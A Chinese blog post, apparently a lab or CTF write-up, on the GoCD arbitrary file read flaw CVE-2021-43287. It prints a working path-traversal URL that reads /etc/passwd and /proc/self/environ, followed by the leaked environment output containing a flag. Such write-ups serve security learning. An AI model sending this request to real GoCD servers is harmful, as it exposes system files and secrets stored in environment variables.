返回顶部

GoCD 任意文件读取漏洞 (CVE-2021-43287)

目录

漏洞描述

命令执行

下载文件

​编辑发现flag


漏洞描述

        GoCD 一款先进的持续集成和发布管理系统,由ThoughtWorks开发。(不要和Google的编程语言Go混淆了!)其前身为CruiseControl,是ThoughtWorks在做咨询和交付交付项目时自己开发的一款开源的持续集成工具。后来随着持续集成及持续部署的火热,ThoughtWorks专门成立了一个项目组,基于Cruise开发除了Go这款工具。ThoughtWorks开源持续交付工具Go。使用Go来建立起一个项目的持续部署pipeline是非常快的,非常方便。 GoCD的v20.6.0 - v21.2.0版本存在任意文件读取漏洞,可以通过/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd 对文件进行读取。

命令执行

http://IP:PORT/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../proc/self/environ

下载文件


发现flag

LANGUAGE=en_US:en HOSTNAME=89d07526eca7 SHLVL=1 vul_flag=flag-{bmha3d4e437-f720-415a-8bcd-5b39f1496dfa} HOME=/home/go PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=en_US.UTF-8 LC_ALL=en_US.UTF-8 PWD=/ GO_JAVA_HOME=/gocd-jre WRAPPER_INIT_DIR=/ WRAPPER_BIN_DIR=/go-server/wrapper WRAPPER_WORKING_DIR=/go-working-dir WRAPPER_CONF_DIR=/go-server/wrapper-config WRAPPER_LANG=en WRAPPER_PID=114 WRAPPER_BASE_NAME=wrapper WRAPPER_BITS=64 WRAPPER_ARCH=x86 WRAPPER_OS=linux WRAPPER_VERSION=3.5.41 WRAPPER_EDITION=Standard WRAPPER_HOSTNAME=89d07526eca7 WRAPPER_HOST_NAME=89d07526eca7 WRAPPER_RUN_MODE=console WRAPPER_FILE_SEPARATOR=/ WRAPPER_PATH_SEPARATOR=: WRAPPER_JAVA_VERSION=15.0.2 WRAPPER_JAVA_VERSION_MAJOR=15 WRAPPER_JAVA_VERSION_MINOR=0 WRAPPER_JAVA_VERSION_REVISION=2 WRAPPER_JAVA_VENDOR=OpenJDK

__EOF__

本文作者流年
本文链接https://www.cnblogs.com/it-sec/p/18574566.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   IT-sec  阅读(25)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示